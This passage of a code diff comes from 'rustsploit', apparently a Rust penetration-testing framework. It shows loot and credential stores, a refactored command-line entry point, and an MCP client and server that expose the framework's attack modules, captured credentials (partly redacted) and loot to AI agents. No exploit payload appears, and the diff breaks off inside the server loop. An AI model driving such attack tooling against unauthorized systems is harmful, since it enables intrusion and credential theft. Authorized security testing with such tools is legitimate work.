||||
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
|
||||
println!(" {}", "-".repeat(90).dimmed());
|
||||
for e in &entries {
|
||||
let desc = if e.description.len() > 28 {
|
||||
format!("{}...", &e.description[..25])
|
||||
} else {
|
||||
e.description.clone()
|
||||
};
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
|
||||
|
||||
/// Convenience function for modules to store loot.
|
||||
pub async fn store_loot(
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
LOOT_STORE.add(host, loot_type, description, data, source_module).await
|
||||
}
|
||||
+139
-90
@@ -1,146 +1,195 @@
|
||||
use std::net::SocketAddr;
|
||||
use std::process;
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use std::net::SocketAddr;
|
||||
use colored::*;
|
||||
use tracing_subscriber::EnvFilter;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
mod cli;
|
||||
mod commands;
|
||||
mod config;
|
||||
mod context;
|
||||
mod modules;
|
||||
mod native;
|
||||
mod shell;
|
||||
mod utils;
|
||||
|
||||
pub mod cred_store;
|
||||
pub mod export;
|
||||
pub mod global_options;
|
||||
pub mod jobs;
|
||||
pub mod loot;
|
||||
pub mod mcp;
|
||||
pub mod module_info;
|
||||
pub mod output;
|
||||
pub mod pq_channel;
|
||||
pub mod pq_middleware;
|
||||
pub mod spool;
|
||||
pub mod workspace;
|
||||
pub mod ws;
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Validates the bind address format for security
|
||||
/// Validates the bind address format
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Bind address too long (max {} characters)",
|
||||
MAX_BIND_ADDRESS_LENGTH
|
||||
));
|
||||
return Err(anyhow!("Bind address too long (max {} characters)", MAX_BIND_ADDRESS_LENGTH));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Add port if missing
|
||||
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
// Validate socket address format
|
||||
with_port.parse::<SocketAddr>()
|
||||
|
||||
with_port
|
||||
.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Validates API key format for security
|
||||
fn validate_api_key(key: &str) -> Result<String> {
|
||||
let trimmed = key.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("API key cannot be empty"));
|
||||
/// Returns the path to the PQ host key file.
|
||||
fn pq_host_key_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("pq_host_key")
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_API_KEY_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"API key too long (max {} characters)",
|
||||
MAX_API_KEY_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Only allow printable ASCII characters
|
||||
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
|
||||
return Err(anyhow!("API key must contain only printable ASCII characters"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!("IP limit must be greater than 0"));
|
||||
/// Returns the path to the PQ authorized keys file.
|
||||
fn pq_authorized_keys_path(custom: Option<&str>) -> std::path::PathBuf {
|
||||
if let Some(p) = custom {
|
||||
std::path::PathBuf::from(p)
|
||||
} else {
|
||||
home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("pq_authorized_keys")
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
return Err(anyhow!(
|
||||
"IP limit too high (max {})",
|
||||
MAX_IP_LIMIT
|
||||
));
|
||||
}
|
||||
|
||||
Ok(limit)
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
eprintln!("{} {}", "❌".red(), e);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
async fn run() -> Result<()> {
|
||||
// Initialize structured logging
|
||||
let filter = if std::env::var("RUST_LOG").is_ok() {
|
||||
EnvFilter::from_default_env()
|
||||
} else {
|
||||
EnvFilter::new("warn")
|
||||
};
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(filter)
|
||||
.with_target(false)
|
||||
.init();
|
||||
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(&api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
tracing::debug!("CLI arguments parsed successfully");
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
.context("Invalid bind address")?;
|
||||
|
||||
let harden = cli_args.harden;
|
||||
|
||||
// Validate IP limit
|
||||
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
tracing::debug!("Listing all modules...");
|
||||
utils::list_all_modules();
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// API server mode — PQ-encrypted, no TLS, no API keys
|
||||
if cli_args.api {
|
||||
let host_key_path = pq_host_key_path(cli_args.pq_host_key.as_deref());
|
||||
let auth_keys_path = pq_authorized_keys_path(cli_args.pq_authorized_keys.as_deref());
|
||||
|
||||
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
|
||||
let bind_address = validate_bind_address(&interface).context("Invalid bind address")?;
|
||||
|
||||
tracing::debug!("Starting PQ-encrypted API server on {}...", bind_address);
|
||||
api::start_api_server(
|
||||
&bind_address,
|
||||
cli_args.verbose,
|
||||
&host_key_path,
|
||||
&auth_keys_path,
|
||||
)
|
||||
.await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// MCP server mode
|
||||
if cli_args.mcp {
|
||||
tracing::debug!("Starting MCP server on stdio...");
|
||||
mcp::run_mcp_server().await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate target if provided
|
||||
if let Some(ref target) = cli_args.target {
|
||||
if let Err(e) = utils::normalize_target(target) {
|
||||
return Err(anyhow!("Invalid target '{}': {}", target, e));
|
||||
}
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
// Target validation is done in config::set_target
|
||||
tracing::debug!("Setting global target to: {}", target);
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
println!("{} Global target set to: {}", "✓".green(), target);
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
// Handle subcommands from CLI
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
tracing::debug!("Executing subcommand: {}", cmd);
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
// Run module directly if both -m and -t are provided
|
||||
else if let Some(ref module) = cli_args.module {
|
||||
if let Some(ref target) = cli_args.target {
|
||||
tracing::debug!("Running module '{}' against '{}'", module, target);
|
||||
commands::run_module(module, target, cli_args.verbose).await?;
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
tracing::debug!("Running module '{}' against global target '{}'", module, target);
|
||||
commands::run_module(module, &target, cli_args.verbose).await?;
|
||||
} else {
|
||||
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Launch interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
tracing::debug!("Launching interactive shell...");
|
||||
if let Some(ref rc) = cli_args.resource {
|
||||
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
|
||||
} else {
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
// test comment
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
use std::process::Stdio;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde_json::{json, Value};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
|
||||
|
||||
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
|
||||
pub struct McpClient {
|
||||
child: Child,
|
||||
stdin: ChildStdin,
|
||||
stdout: BufReader<ChildStdout>,
|
||||
next_id: u64,
|
||||
}
|
||||
|
||||
impl McpClient {
|
||||
/// Spawn an MCP server subprocess and prepare for JSON-RPC communication.
|
||||
pub async fn connect(command: &str, args: &[&str]) -> Result<Self> {
|
||||
let mut child = Command::new(command)
|
||||
.args(args)
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::inherit())
|
||||
.spawn()
|
||||
.with_context(|| format!("Failed to spawn MCP server: {} {:?}", command, args))?;
|
||||
|
||||
let stdin = child
|
||||
.stdin
|
||||
.take()
|
||||
.context("Failed to capture child stdin")?;
|
||||
let stdout_raw = child
|
||||
.stdout
|
||||
.take()
|
||||
.context("Failed to capture child stdout")?;
|
||||
let stdout = BufReader::new(stdout_raw);
|
||||
|
||||
Ok(Self {
|
||||
child,
|
||||
stdin,
|
||||
stdout,
|
||||
next_id: 1,
|
||||
})
|
||||
}
|
||||
|
||||
/// Send the `initialize` handshake and return the server capabilities.
|
||||
pub async fn initialize(&mut self) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"initialize",
|
||||
Some(json!({
|
||||
"protocolVersion": "2024-11-05",
|
||||
"capabilities": {},
|
||||
"clientInfo": {
|
||||
"name": "rustsploit-mcp-client",
|
||||
"version": env!("CARGO_PKG_VERSION")
|
||||
}
|
||||
})),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// List all tools offered by the remote server.
|
||||
pub async fn list_tools(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result = send_request(&mut self.stdin, &mut self.stdout, id, "tools/list", None).await?;
|
||||
let tools = result
|
||||
.get("tools")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(tools)
|
||||
}
|
||||
|
||||
/// Call a tool on the remote server (30s timeout).
|
||||
pub async fn call_tool(&mut self, name: &str, args: Value) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"tools/call",
|
||||
Some(json!({
|
||||
"name": name,
|
||||
"arguments": args
|
||||
})),
|
||||
),
|
||||
)
|
||||
.await
|
||||
.context("MCP tool call timed out after 30s")?
|
||||
}
|
||||
|
||||
/// List all resources offered by the remote server.
|
||||
pub async fn list_resources(&mut self) -> Result<Vec<Value>> {
|
||||
let id = self.next_id();
|
||||
let result =
|
||||
send_request(&mut self.stdin, &mut self.stdout, id, "resources/list", None).await?;
|
||||
let resources = result
|
||||
.get("resources")
|
||||
.and_then(|v| v.as_array())
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
Ok(resources)
|
||||
}
|
||||
|
||||
/// Read a resource by URI from the remote server.
|
||||
pub async fn read_resource(&mut self, uri: &str) -> Result<Value> {
|
||||
let id = self.next_id();
|
||||
send_request(
|
||||
&mut self.stdin,
|
||||
&mut self.stdout,
|
||||
id,
|
||||
"resources/read",
|
||||
Some(json!({ "uri": uri })),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Shut down the MCP server subprocess gracefully.
|
||||
pub async fn close(mut self) -> Result<()> {
|
||||
drop(self.stdin);
|
||||
match tokio::time::timeout(std::time::Duration::from_secs(5), self.child.wait()).await {
|
||||
Ok(Ok(_)) => return Ok(()),
|
||||
Ok(Err(e)) => {
|
||||
eprintln!("[!] MCP server wait error: {}", e);
|
||||
}
|
||||
Err(_) => {
|
||||
eprintln!("[!] MCP server did not exit within 5s, killing");
|
||||
}
|
||||
}
|
||||
if let Err(e) = self.child.kill().await {
|
||||
eprintln!("[!] Failed to kill MCP server: {}", e);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn next_id(&mut self) -> u64 {
|
||||
let id = self.next_id;
|
||||
self.next_id += 1;
|
||||
id
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a JSON-RPC 2.0 request and read the response.
|
||||
async fn send_request(
|
||||
stdin: &mut ChildStdin,
|
||||
stdout: &mut BufReader<ChildStdout>,
|
||||
id: u64,
|
||||
method: &str,
|
||||
params: Option<Value>,
|
||||
) -> Result<Value> {
|
||||
// Build the JSON-RPC request object
|
||||
let mut request = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"id": id,
|
||||
"method": method,
|
||||
});
|
||||
if let Some(p) = params {
|
||||
if let Some(obj) = request.as_object_mut() {
|
||||
obj.insert("params".to_string(), p);
|
||||
}
|
||||
}
|
||||
|
||||
// Serialize and send as a single line
|
||||
let line = serde_json::to_string(&request).context("Failed to serialize JSON-RPC request")?;
|
||||
stdin
|
||||
.write_all(line.as_bytes())
|
||||
.await
|
||||
.context("Failed to write to child stdin")?;
|
||||
stdin
|
||||
.write_all(b"\n")
|
||||
.await
|
||||
.context("Failed to write newline")?;
|
||||
stdin.flush().await.context("Failed to flush child stdin")?;
|
||||
|
||||
// Read response lines until we get one with a matching id.
|
||||
// Servers may emit notifications (no id) interleaved with responses.
|
||||
let mut buf = String::new();
|
||||
loop {
|
||||
buf.clear();
|
||||
let n = stdout
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read from child stdout")?;
|
||||
if n == 0 {
|
||||
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
|
||||
}
|
||||
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let response: Value =
|
||||
serde_json::from_str(trimmed).context("Failed to parse JSON-RPC response")?;
|
||||
|
||||
// Check if this is a response (has "id") matching our request
|
||||
if let Some(resp_id) = response.get("id") {
|
||||
if resp_id.as_u64() == Some(id) {
|
||||
// Check for error
|
||||
if let Some(error) = response.get("error") {
|
||||
let msg = error
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("Unknown error");
|
||||
let code = error.get("code").and_then(|v| v.as_i64()).unwrap_or(-1);
|
||||
anyhow::bail!("MCP server error (code {}): {}", code, msg);
|
||||
}
|
||||
// Return the result field
|
||||
return Ok(response.get("result").cloned().unwrap_or(Value::Null));
|
||||
}
|
||||
}
|
||||
// Not our response (notification or different id) -- skip and keep reading
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
pub mod client;
|
||||
pub mod resources;
|
||||
pub mod server;
|
||||
pub mod tools;
|
||||
pub mod types;
|
||||
|
||||
pub use server::run_mcp_server;
|
||||
@@ -0,0 +1,249 @@
|
||||
use serde_json::json;
|
||||
|
||||
use super::types::{Resource, ResourceContent};
|
||||
|
||||
/// Return the list of all resources exposed by this MCP server.
|
||||
pub fn all_resources() -> Vec<Resource> {
|
||||
vec![
|
||||
Resource {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
name: "Module Catalog".into(),
|
||||
description: "Full list of available modules with info() metadata where available".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
name: "Current Workspace".into(),
|
||||
description: "Current workspace data including tracked hosts and services".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
name: "Credentials".into(),
|
||||
description: "Credential list with secrets redacted (first 3 chars + ***)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
name: "Loot Catalog".into(),
|
||||
description: "Loot entry metadata (no file content, just index data)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///options".into(),
|
||||
name: "Global Options".into(),
|
||||
description: "Persistent global options (setg key-value pairs)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///target".into(),
|
||||
name: "Current Target".into(),
|
||||
description: "Current global target, size, and subnet status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///status".into(),
|
||||
name: "Framework Status".into(),
|
||||
description: "Summary: module count, workspace name, host count, credential count, loot count".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
/// Read a resource by URI.
|
||||
pub async fn read_resource(uri: &str) -> ResourceContent {
|
||||
match uri {
|
||||
"rustsploit:///modules" => read_modules().await,
|
||||
"rustsploit:///workspace" => read_workspace().await,
|
||||
"rustsploit:///credentials" => read_credentials().await,
|
||||
"rustsploit:///loot" => read_loot().await,
|
||||
"rustsploit:///options" => read_options().await,
|
||||
"rustsploit:///target" => read_target(),
|
||||
"rustsploit:///status" => read_status().await,
|
||||
_ => ResourceContent {
|
||||
uri: uri.to_string(),
|
||||
mime_type: "text/plain".into(),
|
||||
text: format!("Unknown resource: {}", uri),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual resource readers
|
||||
// ===========================================================================
|
||||
|
||||
async fn read_modules() -> ResourceContent {
|
||||
let modules = crate::commands::discover_modules();
|
||||
|
||||
// Build a catalog entry for each module, including info() metadata when available
|
||||
let catalog: Vec<serde_json::Value> = modules
|
||||
.iter()
|
||||
.map(|path| {
|
||||
let info = crate::commands::module_info(path);
|
||||
match info {
|
||||
Some(i) => json!({
|
||||
"path": path,
|
||||
"name": i.name,
|
||||
"description": i.description,
|
||||
"authors": i.authors,
|
||||
"references": i.references,
|
||||
"disclosure_date": i.disclosure_date,
|
||||
"rank": format!("{}", i.rank),
|
||||
}),
|
||||
None => json!({
|
||||
"path": path,
|
||||
}),
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&catalog).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_workspace() -> ResourceContent {
|
||||
let name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let data = crate::workspace::WORKSPACE.get_data().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"workspace": name,
|
||||
"hosts": data.hosts,
|
||||
"services": data.services,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_credentials() -> ResourceContent {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
|
||||
// Redact secrets: show first 3 characters then ***
|
||||
let redacted: Vec<serde_json::Value> = creds
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let redacted_secret = if c.secret.len() > 3 {
|
||||
format!("{}***", &c.secret[..3])
|
||||
} else {
|
||||
"***".into()
|
||||
};
|
||||
json!({
|
||||
"id": c.id,
|
||||
"host": c.host,
|
||||
"port": c.port,
|
||||
"service": c.service,
|
||||
"username": c.username,
|
||||
"secret": redacted_secret,
|
||||
"cred_type": format!("{}", c.cred_type),
|
||||
"source_module": c.source_module,
|
||||
"timestamp": c.timestamp,
|
||||
"valid": c.valid,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&redacted).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_loot() -> ResourceContent {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
// Return metadata only (no file content)
|
||||
let entries: Vec<serde_json::Value> = loot
|
||||
.iter()
|
||||
.map(|l| {
|
||||
json!({
|
||||
"id": l.id,
|
||||
"host": l.host,
|
||||
"loot_type": l.loot_type,
|
||||
"filename": l.filename,
|
||||
"description": l.description,
|
||||
"source_module": l.source_module,
|
||||
"timestamp": l.timestamp,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&entries).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_options() -> ResourceContent {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&opts).unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///options".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
fn read_target() -> ResourceContent {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///target".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_status() -> ResourceContent {
|
||||
// Use get_data() for a single lock acquisition instead of separate hosts()/services() calls
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let ws_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let cred_count = crate::cred_store::CRED_STORE.list().await.len();
|
||||
let loot_count = crate::loot::LOOT_STORE.list().await.len();
|
||||
let module_count = crate::commands::discover_modules().len();
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let job_count = crate::jobs::JOB_MANAGER.list().len();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"module_count": module_count,
|
||||
"workspace": workspace_name,
|
||||
"host_count": ws_data.hosts.len(),
|
||||
"service_count": ws_data.services.len(),
|
||||
"credential_count": cred_count,
|
||||
"loot_count": loot_count,
|
||||
"active_jobs": job_count,
|
||||
"target": target,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
use anyhow::Context;
|
||||
use serde_json::Value;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
|
||||
use super::types::{
|
||||
InitializeResult, JsonRpcRequest, JsonRpcResponse, ResourcesCapability, ServerCapabilities,
|
||||
ServerInfo, ToolsCapability,
|
||||
};
|
||||
|
||||
// You can place this function in src/mcp/server.rs or a shared utility module
|
||||
fn errno() -> i32 {
|
||||
unsafe {
|
||||
#[cfg(any(target_os = "freebsd", target_os = "macos"))]
|
||||
{ *libc::__error() }
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{ *libc::__errno_location() }
|
||||
|
||||
// Add fallbacks for other OSes if needed
|
||||
#[cfg(not(any(target_os = "freebsd", target_os = "macos", target_os = "linux")))]
|
||||
{ 0 } // Or compile_error! to force checking for a new OS
|
||||
}
|
||||
}
|
||||
|
||||
fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
|
||||
use std::os::fd::FromRawFd;
|
||||
unsafe {
|
||||
let saved_fd = libc::dup(1);
|
||||
if saved_fd < 0 {
|
||||
anyhow::bail!("dup(1) failed: errno {}", errno());
|
||||
}
|
||||
let null_path = b"/dev/null\0";
|
||||
let null_fd = libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY);
|
||||
if null_fd < 0 {
|
||||
libc::close(saved_fd);
|
||||
anyhow::bail!("open(/dev/null) failed: errno {}", errno());
|
||||
}
|
||||
if libc::dup2(null_fd, 1) < 0 {
|
||||
libc::close(null_fd);
|
||||
libc::close(saved_fd);
|
||||
anyhow::bail!("dup2(null, 1) failed: errno {}", errno());
|
||||
}
|
||||
libc::close(null_fd);
|
||||
let std_file = std::fs::File::from_raw_fd(saved_fd);
|
||||
Ok(tokio::fs::File::from_std(std_file))
|
||||
}
|
||||
}
|
||||
|
||||
/// Run the MCP server over newline-delimited JSON on stdio.
|
||||
///
|
||||
/// * **stdin** — reads one JSON-RPC 2.0 request per line.
|
||||
/// * **stdout** — writes one JSON-RPC 2.0 response per line.
|
||||
/// * **stderr** — diagnostic logging (stdout is the protocol channel).
|
||||
pub async fn run_mcp_server() -> anyhow::Result<()> {
|
||||
let mut protocol_out = isolate_protocol_stdout()
|
||||
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
|
||||
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let mut line_buf: Vec<u8> = Vec::new();
|
||||
|
||||
const MAX_LINE_BYTES: usize = 1024 * 1024;
|
||||
|
||||
eprintln!("[MCP] RustSploit MCP server started (stdio transport)");
|
||||
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
|
||||
|
||||
loop {
|
||||
line_buf.clear();
|
||||
let n = (&mut reader)
|
||||
.take(MAX_LINE_BYTES as u64 + 1)
|
||||
.read_until(b'\n', &mut line_buf)
|
||||
.await
|
||||
.context("failed to read from stdin")?;
|
||||
if n == 0 {
|
||||
eprintln!("[MCP] stdin closed, shutting down");
|
||||
break;
|
||||
}
|
||||
if line_buf.len() > MAX_LINE_BYTES {
|
||||
eprintln!(
|
||||
"[MCP] line exceeded {} bytes without newline — rejecting and closing",
|
||||
MAX_LINE_BYTES
|
||||
);
|
||||
let resp = JsonRpcResponse::error(
|
||||
None,
|
||||
-32600,
|
||||
format!("Request exceeds {} byte line limit", MAX_LINE_BYTES),
|
||||
);
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
break;
|
||||
}
|
||||
|
||||
let line = match std::str::from_utf8(&line_buf) {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] non-UTF-8 input on stdin: {}", e);
|
||||
let resp = JsonRpcResponse::error(
|
||||
None,
|
||||
-32700,
|
||||
format!("Parse error: input is not valid UTF-8: {}", e),
|
||||
);
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
let trimmed = line.trim();
|
||||
